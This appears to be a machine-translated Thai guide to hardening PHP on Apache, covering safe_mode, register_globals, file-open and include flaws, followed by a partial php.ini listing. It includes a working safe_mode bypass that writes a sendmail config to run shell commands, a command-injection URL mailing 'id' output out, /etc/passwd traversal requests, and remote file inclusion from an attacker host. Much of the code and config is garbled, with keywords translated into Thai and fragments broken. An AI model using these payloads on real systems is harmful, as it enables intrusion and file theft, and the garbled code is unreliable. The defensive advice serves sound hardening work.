1. ความปลอดภัยของเว็บเซิร์ฟเวอร์
แท้จริงแล้ว PHP เป็นเพียงฟังก์ชันโมดูลของเว็บเซิร์ฟเวอร์ ดังนั้นจึงต้องมั่นใจในความปลอดภัยของเว็บเซิร์ฟเวอร์ก่อน แน่นอนว่าเพื่อให้เว็บเซิร์ฟเวอร์มีความปลอดภัยนั้น จะต้องมั่นใจในความปลอดภัยของระบบก่อน ซึ่งยังอีกยาวไกล PHP สามารถใช้ร่วมกับเว็บเซิร์ฟเวอร์ต่างๆ ได้ และจะกล่าวถึงเฉพาะ Apache เท่านั้นที่นี่ ขอแนะนำอย่างยิ่งให้ติดตั้งและเริ่ม Apache ในโหมด chroot ด้วยวิธีนี้ แม้ว่าจะมีช่องโหว่ใน Apache, PHP และสคริปต์ แต่จะมีเพียงระบบที่ถูกจำกัดเท่านั้นที่จะได้รับผลกระทบและจะไม่เป็นอันตรายต่อระบบจริง อย่างไรก็ตาม การใช้ chrooted Apache จะทำให้แอปพลิเคชันเกิดปัญหา ตัวอย่างเช่น เมื่อเชื่อมต่อกับ mysql ต้องใช้ที่อยู่ 127.0.0.1 เพื่อเชื่อมต่อโดยใช้ tcp แทน localhost สำหรับการเชื่อมต่อซ็อกเก็ต ซึ่งมีประสิทธิภาพน้อยกว่าเล็กน้อย นอกจากนี้ยังมีปัญหากับฟังก์ชันเมลในการส่งอีเมล เนื่องจากใน php.ini:
[ฟังก์ชันอีเมล]
; สำหรับ Win32 เท่านั้น
SMTP=โลคัลโฮสต์
; สำหรับ Win32 เท่านั้น
sendmail_from [email protected]
ใช้สำหรับแพลตฟอร์ม Win32 ดังนั้น sendmail จำเป็นต้องได้รับการปรับในสภาพแวดล้อม chroot
2. ปัญหาเกี่ยวกับ PHP เอง ผู้ดูแลระบบเครือข่าย u.bitscn@com
1. Remote overflow
ทุกเวอร์ชันที่ต่ำกว่า PHP-4.1.2 มีช่องโหว่การอัปโหลดไฟล์บัฟเฟอร์ระยะไกลมากเกินไป และโปรแกรมโจมตีก็แพร่กระจายอย่างกว้างขวาง โดยมีอัตราความสำเร็จที่สูงมาก
2 การปฏิเสธบริการระยะไกล
PHP-4.2.0 และ PHP-4.2.1 มีช่องโหว่ระยะไกลในการประมวลผลคำขอ POST แบบหลายส่วน/ข้อมูลของ PHP แม้ว่าจะไม่สามารถรับสิทธิ์ผู้ใช้ในเครื่องได้ แต่ก็อาจทำให้เกิดการปฏิเสธบริการได้เช่นกัน
3. ช่องโหว่การเลี่ยงผ่าน safe_mode
ยังมีอยู่ใน PHP-4.2.2 และต่ำกว่าถึง PHP-4.0.5 ฟังก์ชันเมลของ PHP จะข้ามข้อจำกัดของ safe_mode และดำเนินการคำสั่งต่างๆ เริ่มตั้งแต่เวอร์ชัน 4.0.5 เป็นต้นไป ฟังก์ชันเมลจะเพิ่มพารามิเตอร์ตัวที่ห้า เนื่องจากการออกแบบ หากคุณไม่ระวัง คุณสามารถฝ่าฝืนข้อจำกัดของ safe_mode และดำเนินการคำสั่งได้ ความก้าวหน้าในเวอร์ชัน 4.0.5 นั้นง่ายมาก คุณเพียงแค่ต้องคั่นด้วยเครื่องหมายอัฒภาคและเพิ่มคำสั่งเชลล์ ตัวอย่างเช่น หากมีสคริปต์ PHP evil.php:
ดำเนินการ URL ต่อไปนี้:
http://foo com/evil.php?bar =;/usr/bin/id [email protected]
สิ่งนี้จะส่งผลลัพธ์ของการดำเนินการ id ไปที่ [email protected]
สำหรับ PHP ตั้งแต่ 4.0.6 ถึง 4.2.2 การทะลุขีดจำกัด safe_mode จะใช้พารามิเตอร์ -C ของ sendmail ดังนั้นระบบจึงต้องใช้ sendmail รหัสต่อไปนี้สามารถเจาะทะลุข้อจำกัดของ safe_mode และดำเนินการคำสั่ง:
#หมายเหตุ ต้องไม่มีสองรหัสต่อไปนี้
หรือเจ้าของเป็นคนเดียวกันกับเจ้าของสคริปต์นี้
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
เบาบาง=0
R$*" .chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
เมล("ไม่มีใคร", "", "", "", "-C$cf");
?>
ผู้ใช้ที่ใช้ PHP เวอร์ชันที่มีปัญหาข้างต้นจะต้องอัปเกรดเป็นเวอร์ชันล่าสุดทันเวลา เพื่อขจัดปัญหาด้านความปลอดภัยขั้นพื้นฐาน
3. การกำหนดค่าความปลอดภัยของ PHP นั้นเอง
การกำหนดค่าของ PHP นั้นยืดหยุ่นมาก สามารถตั้งค่าผ่านไฟล์ php.ini, httpd.conf, .htaccess (ต้องตั้งค่า AllowOverride ทั้งหมดหรือตัวเลือกในไดเร็กทอรีนี้) และคุณยังสามารถ ใช้ ini_set() ในโปรแกรมสคริปต์และฟังก์ชันเฉพาะอื่นๆ เพื่อตั้งค่า แต่ละค่าของตัวเลือกการกำหนดค่าสามารถรับได้ผ่านฟังก์ชัน phpinfo() และ get_cfg_var()
หากตัวเลือกการกำหนดค่าเป็นเพียงแอตทริบิวต์ PHP_INI_SYSTEM เท่านั้น จะต้องแก้ไขผ่าน php.ini และ httpd.conf โดยจะแก้ไขค่า PHP Master แต่หลังจากการปรับเปลี่ยนแล้ว จะต้องรีสตาร์ท apache เพื่อให้มีผล ตัวเลือกที่ตั้งค่าไว้ใน php.ini มีผลกับสคริปต์ทั้งหมดบนเว็บเซิร์ฟเวอร์ และตัวเลือกที่ตั้งค่าใน httpd.conf จะมีผลกับสคริปต์ทั้งหมดในไดเร็กทอรีที่กำหนด
หากมีตัวเลือกแอตทริบิวต์ PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL อื่นๆ คุณสามารถใช้ไฟล์ .htaccess เพื่อตั้งค่า หรือคุณสามารถใช้ฟังก์ชัน ini_set() ในสคริปต์เพื่อตั้งค่าได้ โดยจะแก้ไขค่า Local และการเปลี่ยนแปลงจะตามมา ให้มีผลทันที อย่างไรก็ตาม .htaccess จะมีผลกับโปรแกรมสคริปต์ในไดเร็กทอรีปัจจุบันเท่านั้น และฟังก์ชัน ini_set() จะมีผลหลังจากตั้งค่าฟังก์ชัน ini_set() สำหรับโปรแกรมสคริปต์แล้วเท่านั้น คุณลักษณะตัวเลือกของแต่ละเวอร์ชันอาจแตกต่างกัน คุณสามารถใช้คำสั่งต่อไปนี้เพื่อค้นหาไฟล์ main.c ของซอร์สโค้ดปัจจุบันเพื่อรับตัวเลือกและคุณลักษณะทั้งหมด:
# grep PHP_INI_ /PHP_SRC/main/main.c
ก่อนที่จะหารือ การกำหนดค่าความปลอดภัย PHP คุณควรมีความเข้าใจที่ดีเกี่ยวกับโหมด safe_mode ของ PHP
1. safe_mode
safe_mode เป็นแอตทริบิวต์ PHP_INI_SYSTEM เดียวเท่านั้น และต้องตั้งค่าผ่าน php.ini หรือ httpd.conf หากต้องการเปิดใช้งาน safe_mode เพียงแก้ไข php.ini:
safe_mode = เปิด
หรือแก้ไข httpd.conf และกำหนดไดเร็กทอรี:
Options FollowSymLinks
php_admin_value safe_mode 1
safe_mode จะมีผลหลังจากรีสตาร์ท apache การเปิดใช้งาน safe_mode จะจำกัดฟังก์ชัน PHP หลายอย่าง โดยเฉพาะการเปิดไฟล์ที่เกี่ยวข้องกับระบบ การใช้คำสั่ง และฟังก์ชันอื่นๆ
ฟังก์ชั่นทั้งหมดที่ใช้งานไฟล์จะใช้งานไฟล์ที่มี UID เดียวกันกับสคริปต์เท่านั้น ตัวอย่างเช่น เนื้อหาของสคริปต์ test.php คือ:
คุณสมบัติของไฟล์หลาย ๆ ไฟล์มีดังนี้:
# ลส -la
รวม 13
drwxr-xr-x 2 รูท 104 20 ก.ค. 01:25 น.
drwxr-xr-x 16 รูท 384 18 ก.ค. 12:02 ..
-rw-r ---r-- 1 รูทรูท 4110 26 ต.ค. 2545 index.html
-rw-r ---r-- 1 www-data www-data 41 ก.ค. 62 19:14 น. test.php
การร้องขอ test.php ในเบราว์เซอร์จะแสดงข้อความแสดงข้อผิดพลาดต่อไปนี้:
คำเตือน: การจำกัดโหมด SAFE มีผลใช้บังคับ สคริปต์ที่มี uid/gid เป็น 33/33 ไม่ได้รับอนุญาตให้เข้าถึง ./index.html ที่เป็นของ uid/gid 0/0 ใน /var/www/test.php ออนไลน์ 1
หาก UID ของไดเร็กทอรีซึ่งเป็นที่ตั้งของไฟล์ที่ถูกจัดการนั้นสอดคล้องกับ UID ของสคริปต์ ก็สามารถเข้าถึง UID ของไฟล์ได้แม้ว่าจะแตกต่างจากสคริปต์ก็ตาม ฉันสงสัยว่านี่เป็นช่องโหว่ใน PHP หรือไม่ มีอีกเหตุผลที่ซ่อนเร้นอยู่ ดังนั้นจึงเป็นการดีที่สุดสำหรับผู้ใช้ที่เป็นเจ้าของสคริปต์ php ที่จะใช้เพื่อจุดประสงค์นี้เท่านั้น ห้ามมิให้ใช้ root ในฐานะเจ้าของสคริปต์ php สิ่งนี้จะไม่บรรลุผลจาก safe_mode
หากคุณต้องการผ่อนคลายการเปรียบเทียบ GID คุณสามารถพิจารณาเปรียบเทียบ GID ของไฟล์ได้โดยเปิด safe_mode_gid คุณสามารถตั้งค่าตัวเลือกต่อไปนี้:
safe_mode_gid = เปิด
หลังจากตั้งค่า safe_mode คำสั่งทั้งหมดที่ดำเนินการจะถูกจำกัดเฉพาะฟังก์ชันเท่านั้น ระบุไว้ใน safe_mode_exec_dir ใน php.ini โปรแกรมในไดเร็กทอรี และ shell_exec และ `ls -l` จะถูกห้ามไม่ให้ดำเนินการคำสั่ง หากคุณต้องการเรียกใช้โปรแกรมอื่นจริงๆ คุณสามารถตั้งค่าต่อไปนี้ใน php.ini:
safe_mode_exec_dir = /usr/local/php/exec
จากนั้นคัดลอกโปรแกรมไปยังไดเร็กทอรีนี้ จากนั้นสคริปต์ php จะสามารถใช้ระบบและฟังก์ชันอื่นๆ เพื่อ รันโปรแกรม นอกจากนี้ เชลล์สคริปต์ในไดเร็กทอรีนี้ยังสามารถเรียกใช้คำสั่งระบบในไดเร็กทอรีอื่นได้
สตริง safe_mode_include_dir
จะตรวจสอบ UID/GID เมื่อรวมไฟล์จากไดเร็กทอรีนี้และไดเร็กทอรีย่อย (ไดเร็กทอรีต้องอยู่ใน include_path หรือรวมไว้ในพาธแบบเต็ม)
ตั้งแต่ PHP 4.2.0 เป็นต้นไป คำสั่งนี้สามารถยอมรับพาธที่คั่นด้วยเครื่องหมายอัฒภาคในลักษณะที่คล้ายกับคำสั่ง include_path แทนที่จะเป็นเพียงไดเร็กทอรี
ขีดจำกัดที่ระบุจริงๆ แล้วเป็นคำนำหน้า ไม่ใช่ชื่อไดเรกทอรี ซึ่งหมายความว่า "safe_mode_include_dir = /dir/incl" จะอนุญาตให้เข้าถึง "/dir/include" และ "/dir/incls" หากมีอยู่ หากคุณต้องการจำกัดการเข้าถึงไดเรกทอรีใดโดยเฉพาะ ให้เพิ่มเครื่องหมายทับต่อท้าย เช่น "safe_mode_include_dir = /dir/incl/"
สตริง safe_mode_allowed_env_vars
การตั้งค่าตัวแปรสภาพแวดล้อมบางอย่างอาจเป็นช่องว่างด้านความปลอดภัยที่อาจเกิดขึ้น คำสั่งนี้มีรายการคำนำหน้าคั่นด้วยเครื่องหมายจุลภาค ในเซฟโหมด ผู้ใช้สามารถเปลี่ยนได้เฉพาะตัวแปรสภาพแวดล้อมที่มีชื่อนำหน้าระบุไว้ที่นี่ ตามค่าเริ่มต้น ผู้ใช้สามารถตั้งค่าตัวแปรสภาพแวดล้อมที่เริ่มต้นด้วย PHP_ เท่านั้น (เช่น PHP_FOO = BAR)
หมายเหตุ: หากคำสั่งนี้ว่างเปล่า PHP จะอนุญาตให้ผู้ใช้แก้ไขตัวแปรสภาพแวดล้อมใดก็ได้!
สตริง safe_mode_protected_env_vars
คำสั่งนี้ประกอบด้วยรายการตัวแปรสภาพแวดล้อมที่คั่นด้วยเครื่องหมายจุลภาค ซึ่งผู้ใช้ไม่สามารถเปลี่ยนแปลงโดยใช้ putenv() ตัวแปรเหล่านี้ไม่สามารถเปลี่ยนแปลงได้แม้ว่าจะมีการตั้งค่าการแก้ไขที่อนุญาตใน safe_mode_allowed_env_vars ก็ตาม
แม้ว่า safe_mode จะไม่ใช่ยาครอบจักรวาล (PHP เวอร์ชันต่ำกว่าสามารถข้ามได้) แต่ก็ยังแนะนำอย่างยิ่งให้เปิดเซฟโหมด ซึ่งสามารถหลีกเลี่ยงการโจมตีที่ไม่รู้จักได้ในระดับหนึ่ง อย่างไรก็ตาม การเปิดใช้งาน safe_mode จะมีข้อจำกัดมากมายซึ่งอาจส่งผลต่อแอปพลิเคชัน ดังนั้นจึงจำเป็นต้องปรับโค้ดและการกำหนดค่าเพื่อให้เกิดความสอดคล้องกัน สำหรับฟังก์ชันที่ถูกจำกัดหรือบล็อกโดยเซฟโหมด โปรดดูคู่มือ PHP
หลังจากพูดคุยเรื่อง safe_mode เรามาพูดคุยถึงวิธีหลีกเลี่ยงช่องโหว่ผ่านการกำหนดค่าเซิร์ฟเวอร์ PHP ตามปัญหาจริงที่อาจเกิดขึ้นในโค้ดโปรแกรม
2.
ค่าเริ่มต้นของ PHP ในทางที่ผิดคือ register_globals = On ตัวแปรสำหรับ GET, POST, Cookie, Environment และ Session สามารถลงทะเบียนเป็นตัวแปรส่วนกลางได้โดยตรง ลำดับการลงทะเบียนคือ Variables_order = "EGPCS" (สามารถแก้ไขได้ผ่าน php.ini) ทางด้านขวาของ Variables_order ที่มีชื่อเดียวกันจะครอบคลุมด้านซ้าย ดังนั้นการใช้ตัวแปรในทางที่ผิดอาจทำให้เกิดความสับสนของโปรแกรมได้ง่าย นอกจากนี้ โปรแกรมเมอร์สคริปต์มักจะไม่มีนิสัยในการเริ่มต้นตัวแปร ส่วนของโปรแกรมดังต่อไปนี้มีความเสี่ยงอย่างยิ่งที่จะถูกโจมตี:
//test_1.php
ถ้า ($ผ่าน == "สวัสดี")
$รับรองความถูกต้อง = 1;
ถ้า ($รับรองความถูกต้อง == 1)
echo "ข้อมูลสำคัญบางอย่าง";
อื่น
สะท้อน "ไม่มีอะไร";
?>
ผู้โจมตีสามารถข้ามการตรวจสอบได้โดยใช้คำขอต่อไปนี้:
http://victim/test_1.php?auth=1
แม้ว่านี่จะเป็นข้อผิดพลาดที่อ่อนแอมาก แต่โปรแกรมที่มีชื่อเสียงบางโปรแกรมก็ทำผิดพลาดเช่นกัน ตัวอย่างเช่น รีโมทของ phpnuke ช่องโหว่ในการคัดลอกไฟล์: http://www.securityfocus.com/bid/3361
เมื่อ PHP-4.1.0 เปิดตัว แนะนำให้ปิด register_globals และจัดเตรียมตัวแปรอาเรย์พิเศษ 7 ตัวเพื่อใช้ตัวแปรต่างๆ ตัวแปรจาก GET, POST, COOKIE ฯลฯ ไม่ได้ลงทะเบียนเป็นตัวแปรโดยตรง และต้องเข้าถึงได้ผ่านตัวแปรอาร์เรย์ เมื่อ PHP-4.2.0 เปิดตัว การกำหนดค่าเริ่มต้นของ php.ini คือ register_globals = Off ซึ่งช่วยให้โปรแกรมใช้ค่าเริ่มต้นที่ PHP กำหนดไว้เอง ซึ่งโดยปกติจะเป็น 0 เพื่อป้องกันไม่ให้ผู้โจมตีควบคุมตัวแปรการตัดสิน
วิธีแก้ไข:
ตั้งค่า register_globals = ปิด ในไฟล์กำหนดค่า php.ini
โปรแกรมเมอร์จำเป็นต้องกำหนดค่าเริ่มต้นสำหรับตัวแปรการตัดสินใจที่จุดเริ่มต้นของโปรแกรม
3. ไฟล์จะเปิด
ข้อมูลโค้ดที่มีช่องโหว่อย่างมาก:
//test_2.php
ถ้า (!($str = readfile("$filename"))) {
echo("ไม่สามารถเปิดไฟล์: $filename
n");
ออก;
-
อื่น {
เสียงสะท้อน $str;
-
?>
เนื่องจากผู้โจมตีสามารถระบุชื่อไฟล์ $ ใด ๆ ผู้โจมตีจึงสามารถเห็น /etc/passwd ด้วยคำขอต่อไปนี้:
http://victim/test_2.php?filename=/etc/passwd
คำขอต่อไปนี้สามารถอ่านไฟล์ php ได้เอง :
http://victim/test_2.php?filename=test_2.php
ฟังก์ชั่นการเปิดไฟล์ใน PHP ได้แก่ fopen(), file() ฯลฯ หากไม่ได้ตรวจสอบตัวแปรชื่อไฟล์อย่างเคร่งครัด ไฟล์สำคัญบนเซิร์ฟเวอร์จะถูกเข้าถึง และอ่าน
วิธีแก้ไข:
เว้นแต่จำเป็นเป็นอย่างอื่น ให้จำกัดการทำงานของไฟล์ PHP ไว้ที่ไดเร็กทอรีเว็บ ต่อไปนี้เป็นตัวอย่างของการแก้ไขไฟล์การกำหนดค่า apache httpd.conf:
php_admin_value open_basedir /usr/local/apache/htdocs
หลังจากรีสตาร์ท apache สคริปต์ PHP ในไดเร็กทอรี /usr/local/apache/htdocs สามารถทำงานได้เฉพาะไฟล์ในไดเร็กทอรีของตัวเองเท่านั้น มิฉะนั้น PHP จะรายงานข้อผิดพลาด:
คำเตือน: ข้อจำกัด open_basedir มีผลอยู่
ไฟล์อยู่ในไดเร็กทอรีผิดใน xxx ออนไลน์ xx
การใช้โหมด safe_mode ยังสามารถหลีกเลี่ยงปัญหานี้ได้ดังที่ได้กล่าวไว้ก่อนหน้านี้
4. มีไฟล์
ที่มีข้อมูลโค้ดที่มีช่องโหว่อย่างยิ่ง:
//test_3.php
ถ้า(file_exists($ชื่อไฟล์))
รวม("$ชื่อไฟล์");
-
รหัสที่ไม่รับผิดชอบประเภทนี้จะก่อให้เกิดอันตรายอย่างมาก ผู้โจมตีสามารถรับไฟล์ /etc/passwd ได้โดยใช้คำขอต่อไปนี้:
http://victim/test_3.php?filename=/etc/passwd
หากเป็นเวอร์ชัน Unix ของ PHP ( PHP เวอร์ชัน Win ไม่รองรับการเปิดไฟล์จากระยะไกล) ผู้โจมตีสามารถสร้างไฟล์ที่มีคำสั่งเชลล์บนเครื่องที่เขาเปิดบริการ http หรือ ftp ตัวอย่างเช่น เนื้อหาของ http://attack/attack.txt คือคำขอต่อไปนี้ คุณสามารถดำเนินการคำสั่ง ls /etc บนโฮสต์เป้าหมาย:
http://victim/test_3.php?filename=http://attack/attack.txt
ผู้โจมตีสามารถใช้ access.log และ ไฟล์บันทึก error.log ที่มี apache ไปยัง ได้รับรหัสเพื่อดำเนินการคำสั่ง แต่บางครั้งมันไม่ง่ายเลยที่จะสำเร็จเนื่องจากมีข้อมูลรบกวนมากเกินไป
สำหรับรูปแบบอื่น ข้อมูลโค้ดต่อไปนี้:
//test_4.php
รวม("$lib/config.php");
-
ผู้โจมตีสามารถสร้างไฟล์ config.php ที่มีโค้ดดำเนินการคำสั่งบนโฮสต์ของตนเอง จากนั้นใช้คำขอต่อไปนี้เพื่อดำเนินการคำสั่งบนโฮสต์เป้าหมาย:
http://victim/test_4.php?lib=http://attack
ฟังก์ชั่นที่รวมไว้ใน PHP ได้แก่ include(), include_once(), need(), need_once หากตัวแปรที่มีชื่อไฟล์ไม่ได้รับการตรวจสอบอย่างเข้มงวด จะทำให้เกิดอันตรายร้ายแรงต่อระบบ และสามารถดำเนินการคำสั่งจากระยะไกลได้
วิธีแก้ไข:
โปรแกรมเมอร์จะต้องพยายามไม่ใช้ตัวแปรเมื่อรวมพารามิเตอร์ในไฟล์ หากใช้ตัวแปร ชื่อไฟล์ที่จะรวมจะต้องได้รับการตรวจสอบอย่างเข้มงวดและจะต้องไม่ถูกระบุโดยผู้ใช้โดยพลการ
ตัวอย่างเช่น การจำกัดเส้นทางการดำเนินการ PHP ในการเปิดไฟล์ก่อนหน้าเป็นตัวเลือกที่จำเป็น นอกจากนี้ อย่าลืมปิดฟังก์ชันการเปิดไฟล์ระยะไกลของ PHP เว้นแต่จำเป็นเป็นอย่างอื่น แก้ไขไฟล์ php.ini:
Allow_url_fopen = Off
รีสตาร์ท apache
[PHP]
; PHP ยังคงเป็นเครื่องมือที่มีการพัฒนาและคุณลักษณะต่างๆ ของมันจะถูกลบออกอย่างต่อเนื่อง
และการเปลี่ยนแปลงการตั้งค่าของ php.ini สามารถสะท้อนถึงการเปลี่ยนแปลงที่สำคัญได้
; ก่อนที่จะใช้ PHP เวอร์ชันใหม่ การศึกษา php.ini จะเป็นประโยชน์
-
;เกี่ยวกับเอกสารนี้;
;;;;;;;;;;;;;;;;;;;;
ไฟล์นี้ควบคุมมุมมองของ PHP หลายด้าน เพื่อให้ PHP อ่านไฟล์นี้ได้
; 'php.ini'.PHP จะค้นหาไฟล์ในตำแหน่งเหล่านี้: ไดเร็กทอรีการทำงานปัจจุบัน;
; เส้นทางที่ระบุ; เส้นทางที่ระบุเมื่อรวบรวม
; ภายใต้ Windows พาธเมื่อคอมไพล์คือไดเร็กทอรีการติดตั้ง Windows
; ในโหมดบรรทัดคำสั่ง สามารถแทนที่พาธการค้นหาสำหรับ php.ini ด้วยพารามิเตอร์ -c
; ไวยากรณ์ของไฟล์นี้ง่ายมาก
; เช่นเดียวกับที่เดา) ชื่อบท (เช่น [Foo]) ก็จะถูกละเว้นเช่นกันแม้ว่าในอนาคตอาจเป็นเช่นนั้นก็ตาม
; มีความหมายบางอย่าง
-
คำสั่งถูกระบุโดยใช้ไวยากรณ์ต่อไปนี้:
; ตัวระบุตัวบ่งชี้ = ค่า
; คำสั่ง = ค่า
; บ่งชี้ว่าตัวระบุเป็น *case-sensitive* - foo=bar แตกต่างจาก FOO = bar
-
; ค่าอาจเป็นสตริง ตัวเลข ค่าคงที่ PHP (เช่น: E_ALL หรือ M_PI) ค่าคงที่ INI
; A (เปิด, ปิด, จริง, เท็จ, ใช่, ไม่ใช่ และ ไม่มี) หรือนิพจน์
; (เช่น: E_ALL & ~E_NOTICE) หรือสตริงที่ยกมา ("foo")
-
; นิพจน์ในไฟล์ INI ถูกจำกัดให้ใช้ตัวดำเนินการระดับบิตและวงเล็บเท่านั้น
; | ระดับบิตหรือ
; & ระดับบิต และ
; ~ ไม่ในระดับบิต
; บูลีน ไม่
-
; สามารถเปิดแฟล็กบูลีนได้ด้วยค่า 1, เปิด, จริง หรือ ใช่
; สามารถตั้งค่าเป็นปิดได้ด้วยค่า 0, ปิด, เท็จ หรือ No
-
; สตริงว่างสามารถแสดงได้โดยไม่ต้องเขียนอะไรเลยหลังเครื่องหมายเท่ากับ หรือใช้คีย์เวิร์ด None:
-
; foo = ; ตั้งค่า foo เป็นสตริงว่าง
; foo = none ; ตั้งค่า foo เป็นสตริงว่าง
; foo = "none" ; ตั้งค่า foo เป็นสตริง 'none'
-
; หากคุณใช้ค่าคงที่ในการตั้งค่า และค่าคงที่เหล่านี้เป็นของไลบรารีส่วนขยายที่โหลดแบบไดนามิก (ไม่ใช่ส่วนขยาย PHP นั่นคือ
; ส่วนขยาย Zend) คุณสามารถใช้ค่าคงที่เหล่านี้ได้ *หลัง* บรรทัดที่เรียกใช้ส่วนขยายเหล่านี้เท่านั้น
-
; ค่าทั้งหมดที่ตั้งไว้ในไฟล์ php.ini-dist จะเหมือนกับค่าเริ่มต้นในตัว (นั่นคือถ้า php.ini
; ไม่ได้ใช้หรือคุณลบบรรทัดเหล่านี้ค่าเริ่มต้นจะเหมือนกัน)
;;;;;;;;;;;;;;;;;;;;
;ตัวเลือกภาษา;
;;;;;;;;;;;;;;;;;;;;;
เครื่องยนต์ = เปิด
; ทำให้เอ็นจิ้นภาษาสคริปต์ PHP พร้อมใช้งานภายใต้ Apache
short_open_tag = เปิด
; อนุญาตให้ใช้แท็ก <? (การแสดงแบบง่ายนี้) เท่านั้นที่จะรู้จักแท็ก <?php และ <script>
asp_tags = ปิด
; อนุญาตแท็กสไตล์ ASP <% %>
ความแม่นยำ=14
; จำนวนหลักที่มีผลเมื่อแสดงตัวเลขประเภททศนิยม
y2k_compliance = Off
; จะเปิดการปรับ Y2K หรือไม่ (อาจทำให้เกิดปัญหาในเบราว์เซอร์ที่ไม่รองรับ Y2K)
output_buffering = Off
; แคชเอาท์พุตช่วยให้คุณสามารถส่งบรรทัดส่วนหัว (รวมถึงคุกกี้) แม้หลังจากเอาท์พุตเนื้อหาเนื้อหาแล้วก็ตาม
ค่าใช้จ่ายคือเลเยอร์เอาต์พุตช้าลงเล็กน้อย คุณสามารถใช้แคชเอาต์พุตเพื่อเปิดแคชเอาต์พุตขณะรันไทม์
; หรือเปิดคำสั่งที่นี่เพื่อเปิดใช้งานการแคชเอาต์พุตสำหรับไฟล์ทั้งหมด
output_handler = ; คุณสามารถเปลี่ยนเส้นทางเอาต์พุตทั้งหมดของสคริปต์ของคุณไปยังฟังก์ชันได้
; นั่นอาจเป็นประโยชน์สำหรับการประมวลผลหรือการบันทึก
; ตัวอย่างเช่น หากคุณตั้งค่า output_handler นี้เป็น "ob_gzhandler"
; ผลลัพธ์จะถูกบีบอัดอย่างโปร่งใสสำหรับเบราว์เซอร์ที่รองรับ gzip หรือการเข้ารหัสแบบยุบ
; ตั้งค่าตัวประมวลผลเอาต์พุตให้เปิดบัฟเฟอร์เอาต์พุตโดยอัตโนมัติ
implicit_flush = ปิด
; บังคับให้ล้างข้อมูลเพื่อบอกให้ PHP สั่งให้เลเยอร์เอาต์พุตรีเฟรชข้อมูลของตัวเองโดยอัตโนมัติหลังจากแต่ละบล็อกเอาต์พุต
; ซึ่งเทียบเท่ากับการเรียกใช้ฟังก์ชัน flush() หลังจากการเรียก print() หรือ echo() ทุกครั้ง และหลังทุกบล็อก HTML
; การเปิดการตั้งค่านี้จะทำให้เกิดข้อขัดแย้งรันไทม์ที่ร้ายแรง ขอแนะนำให้เปิดเฉพาะในระหว่างการดีบัก
เท่านั้น
ว่าจะบังคับให้การเรียกฟังก์ชันส่งผ่านพารามิเตอร์โดยการอ้างอิงหรือไม่
; และอาจไม่ได้รับการสนับสนุนใน PHP/Zend เวอร์ชันต่อๆ ไปอีกต่อไป
ขอแนะนำให้ระบุพารามิเตอร์ที่ถูกส่งผ่านโดยการอ้างอิงในการประกาศฟังก์ชัน
; ขอแนะนำให้คุณลองปิดตัวเลือกนี้และตรวจสอบว่าสคริปต์ของคุณยังคงทำงานได้อย่างถูกต้อง เพื่อให้แน่ใจว่าภาษาจะมีเวอร์ชันในอนาคต
; จะยังคงใช้งานได้ (คุณจะได้รับคำเตือนทุกครั้งที่คุณใช้คุณสมบัตินี้ และพารามิเตอร์จะเป็นตามค่า ไม่ใช่ตามการอ้างอิง
; ผ่าน)
; เซฟโหมด
safe_mode = ปิด
safe_mode_exec_dir =
safe_mode_allowed_env_vars = PHP_
- การตั้งค่าตัวแปรสภาพแวดล้อมบางอย่าง
- อาจเป็นการละเมิดความปลอดภัยที่อาจเกิดขึ้น
; คำสั่งนี้มีรายการคำนำหน้าคั่นด้วยเครื่องหมายจุลภาค ในเซฟโหมด ผู้ใช้สามารถแทนที่ได้เฉพาะ
ค่าของตัวแปรสภาพแวดล้อมที่ขึ้นต้นด้วยคำนำหน้าที่แสดงไว้ที่นี่
; ตามค่าเริ่มต้น ผู้ใช้จะสามารถตั้งค่าตัวแปรสภาพแวดล้อมที่ขึ้นต้นด้วย PHP_ ได้เท่านั้น (เช่น PHP_FOO=BAR)
หมายเหตุ: หากคำสั่งนี้ว่างเปล่า PHP จะอนุญาตให้ผู้ใช้เปลี่ยนตัวแปรสภาพแวดล้อมใด ๆ
!
; คำสั่งนี้มีรายการตัวแปรสภาพแวดล้อมที่คั่นด้วยเครื่องหมายจุลภาค ซึ่งผู้ใช้จะไม่สามารถเปลี่ยนแปลงได้โดยใช้ putenv ()
; ตัวแปรเหล่านี้ได้รับการป้องกันแม้ว่า safe_mode_allowed_env_vars จะถูกตั้งค่าให้อนุญาต
ก็ตาม
คำสั่งนี้อนุญาตให้คุณปิดการใช้งานฟังก์ชั่นเฉพาะเพื่อความปลอดภัย
; ยอมรับรายการชื่อฟังก์ชันที่คั่นด้วยเครื่องหมายจุลภาค
; คำสั่งนี้ *ไม่* ได้รับผลกระทบจากว่าโหมดปลอดภัยเปิดอยู่หรือ
ไม่
???
> ใช้ได้
highlight.comment = #FF8000
highlight.keyword = #007700
highlight.bg = #FFFFFF
highlight.default = #0000BB
highlight.html = #000000
; เบ็ดเตล็ด
expose_php = ปิด
กำหนดว่า PHP ควรระบุข้อเท็จจริงว่ามีการติดตั้งบนเซิร์ฟเวอร์หรือไม่ (เช่น เพิ่ม - PHP - ไปยังบริการเว็บ
; บนสัญญาณที่ส่ง)
; (ความเห็นส่วนตัวของฉันคือปิดสิ่งนี้เมื่อมีส่วนหัวของ power-by ปรากฏขึ้น)
; ไม่มีภัยคุกคามด้านความปลอดภัย แต่ทำให้สามารถตรวจสอบได้ว่าติดตั้ง PHP บนเซิร์ฟเวอร์ของคุณหรือไม่
-
; ข้อจำกัดด้านทรัพยากร ;
;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ; เวลาดำเนินการสูงสุดของแต่ละสคริปต์ในหน่วยวินาที
memory_limit = 8388608; จำนวนหน่วยความจำสูงสุดที่สคริปต์สามารถใช้ได้ (นี่คือ 8MB)
-
; การจัดการและการบันทึกข้อผิดพลาด ;
; การควบคุมและการลงทะเบียนข้อผิดพลาด
-
; การรายงานข้อผิดพลาดเป็นแบบบิตหรือเพิ่มตัวเลขเพื่อให้ได้ระดับการรายงานข้อผิดพลาดที่ต้องการ
; E_ALL - ข้อผิดพลาดและคำเตือนทั้งหมด
; E_ERROR - ข้อผิดพลาดรันไทม์ร้ายแรง
; E_WARNING - คำเตือนรันไทม์ (ข้อผิดพลาดที่ไม่ร้ายแรง)
; E_PARSE - ข้อผิดพลาดในการแยกวิเคราะห์เวลาคอมไพล์
